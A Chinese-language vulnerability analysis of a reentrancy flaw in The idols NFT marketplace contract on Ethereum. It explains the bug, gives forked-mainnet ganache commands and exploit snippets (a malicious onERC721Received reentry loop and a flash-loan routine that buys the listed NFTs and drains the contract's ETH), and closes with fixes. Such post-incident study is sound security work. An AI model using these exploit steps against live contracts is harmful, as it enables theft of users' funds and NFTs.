原文始发于Seebug(Dig2):The idols NFT marketplace 重入漏洞分析
背景介绍
The idols是以太坊上的NFT项目,其特点在于会按照用户持有idols NFT的数量,分红Lido质押奖励(资金来源为项目公售获得的约2250 ETH)。该项目同时发行$VIRTUE代币,购买并质押代币的用户会分红idols NFT的交易手续费(交易额的7.5%)。因此开发团队自建了一个专用于The idols的交易平台,以避免用户在第三方交易平台(例如OpenSea)交易被收取额外的平台手续费。
3月7号,idols团队发布声明称,有白帽发现了其NFT交易市场合约中存在漏洞:攻击者利用精心构造的攻击合约,可以取出IdolMarketplace合约中所有的ETH。
随后idols团队采取了以下行动:
- 主动利用漏洞,提取出IdolMarketplace合约中卖家们尚未领取的约58 ETH,防止被黑客盗走
- 删除idols交易平台相关前端页面并通知用户尽快下架idols,防止黑客主动购买idols后再利用漏洞取出ETH
- 编写合约,用闪电贷购买了idols交易平台中的所有idols NFT,并再次利用漏洞取出款项,然后将idols NFT还给原owner
本文对相关合约进行分析,并复现漏洞利用。
源码分析
合约地址:
0x4ce4f4c4891876ffc0670bd9a25fcc4597db3bbf
合约实现了简单的市场功能,包括:
- 挂单
postGodListing
- 取消挂单
removeGodListing
- 购买
buyGod
- 出价
enterBidForGod
- 取消出价
withdrawBidForGod
- 接受出价
acceptBidForGod
- 提现
withdrawPendingFunds
直接涉及到取款操作的提现函数withdrawPendingFunds和取消出价函数withdrawBidForGod都使用了nonReentrant
来防止重入攻击。
但在没有重入保护的购买函数buyGod和接受出价函数acceptBidForGod中,使用了safeTransferFrom
来转移ERC721。
在safeTransferFrom实现源码中,调用了_checkOnERC721Received
。如果NFT接收者是合约,会尝试调用该合约的onERC721Received
函数,要求返回值必须为IERC721Receiver.onERC721Received.selector
,即0x150b7a02
。
因此我们可以构造带有onERC721Received
函数的恶意合约,保证最后该函数返回值为0x150b7a02
,即可将其作为入口进行重入攻击。
回到acceptBidForGod函数中,它将删除出价操作放在了safeTransferFrom调用之后,这是该合约能被重入攻击的另一必要条件——在godBids[_godId]
还没被删除时,通过调用safeTransferFrom
从而重入调用acceptBidForGod
使得pendingWithdrawals[msg.sender]
能不断累加,再提现即可盗走合约中的ETH。
漏洞利用
重入攻击取走所有余额
开发团队在14340309区块进行了第一次漏洞利用以拯救合约中的ETH。
我们fork区块高度14340000进行测试:
ganache-cli -f https://eth-mainnet.alchemyapi.io/v2/<api>@14340000 --wallet.accounts <privateKey>,5000000000000000000 --chain.chainId 1
此时IdolMarketplace
合约中大概有61 ETH,攻击者Bob有5 ETH:
async function getETHBalance(address:string) {
return formatEther(await (await provider.getBalance(address)).toString())
}
console.log("Balance of idol marketplace: ", await getETHBalance(idolMarketplaceContract.address)," ETH")
console.log("Balance of bob: ", await getETHBalance(bob.address)," ETH")
// Balance of idol marketplace: 61.444988760689139709 ETH
// Balance of bob: 5.0 ETH
因为我们要利用对自己拥有的NFT出价,然后进入”接受出价-safeTransferFrom”重入循环,所以我们得先有一个NFT。查询logs中的GodListed
事件找到一个售价为1 ETH的NFT进行购买,这里购买1426号:
await (await idolMarketplaceContract.buyGod(1426, {value: parseEther("1")})).wait()
然后思路为:
- Bob创建合约
Exploit
- 将刚购买的idols NFT发送给合约
Exploit
- 调用
Exploit
合约中attack()
函数(发送3 ETH) attack()
函数中创建ExploitReceive
合约(发送3 ETH)ExploitReceive
合约调用enterBidForGod()
函数对Exploit
合约拥有的idols NFT出价(3 ETH)Exploit
合约接受该出价,进行NFT转移safeTransform()
safeTransform()
调用ExploitReceive
合约的恶意onERC721Received
函数,进行重入
ExploitReceive
合约中的onERC721Received
函数:
function onERC721Received(address, address, uint256, bytes calldata) external returns(bytes4) {
times++;
idolMain.transferFrom(address(this), address(exploit), id);
// 因为会被收7.5%的手续费,所以需要如下计算重入多少次
if (address(idolMarkestplace).balance > times * price * 925 / 1000) {
exploit.acceptBidAgain(id);
}
return ERC721_RECEIVED;
}
由此做到重入攻击,具体查看Exploit和ExploitReceive合约代码
整个流程的时序图如下所示:
最终效果效果:
使用闪电贷”免费”获得NFT
除了盗走IdolMarketplace合约中已有的ETH,还能先主动购买在Marketplace上上架的NFT,此时支付的ETH进入了合约中,只要再进行重入攻击,就能把这笔钱取出来,相当于免费获得了NFT。
稀有款NFT的拥有者往往会定很高的价,在Bob本金不够的情况下,可以借助闪电贷完成攻击。
流程:
- 借款
- 购买在IdolMarketplace上架所有NFT
- 重入攻击取出刚付的ETH
- 还款
用NFT上架event和NFT下架event分析得到哪些NFT仍处于可被购买状态:
async function getMarketNFTs(block: number | undefined) {
let nfts : {[key: number]: [BigNumber, number]} = {}
const listEvents = await realIdolMarketplaceContract.queryFilter(realIdolMarketplaceContract.filters.GodListed(null, null, null), undefined, block);
for( const e of listEvents ) {
const args = e.args
nfts[args[0].toNumber()] = [args[1], e.blockNumber]
}
const unlistEvents = await realIdolMarketplaceContract.queryFilter(realIdolMarketplaceContract.filters.GodUnlisted(null), undefined, block);
for ( const e of unlistEvents ) {
const args = e.args
const nftID = args[0].toNumber()
if (nfts[nftID] && e.blockNumber > nfts[nftID][1]) {
delete nfts[nftID]
}
}
let res = []
for ( const id in nfts ) {
res.push(id)
}
return res
}
考虑到idols NFT可能在别的平台上被出售或者以其他某种方式transfer给了其他地址,对上面函数得到的结果遍历检查一下owner和上架人是否相同,能得到更准确的结果。
测试选取了十个定价高于10 ETH的idols NFT进行测试。
let nfts = [
'1005', '1074', '1862', '2008', '2106',
'2607', '2668', '2700', '3320', '3544',
]
Bob初始资金1 ETH作为gas:
ganache-cli -f https://eth-mainnet.alchemyapi.io/v2/<api>@14340000 --wallet.accounts <privateKey>,1000000000000000000 --chain.chainId 1
在接收到借款后开始攻击:
fallback() external payable {
if (msg.sender == borrowerProxy && address(this).balance >= borrowValue) {
_buyNFT();
_reentry();
_repay();
_selfdestruct();
}
}
在重入利用函数_reentry()
中,有一行:
// calculate bidPrice required to withdraw all ETH in IdolMarketplace
uint bidPrice = address(idolMarketplace).balance * 1000 / 850;
这里的850
是通过计算得出的:
设x
是idolMarketplace合约的ETH余额,y
是为了提取其所有ETH所构造的交易价。由于每笔交易有7.5%
的手续费,所以当买家投入y
ETH,卖家只能提现y * (1 - fee)
ETH。利用重入攻击提取两次,就是y * (1 - fee) * 2
ETH。最后解出方程就是上面代码中的比例:
最终效果:
可以看出,已经清空了idolmarketplace中的ETH并且这些NFT的owner都是Bob
总结
本次事件是safeTransferfrom
导致的重入攻击的实际利用。就该项目合约而言,可以通过以下等方法修复:
- 给所有函数都加上
nonReentrant
- 将状态修改放在
safeTransferfrom
之前
本文提到的代码可以在此github仓库中找到。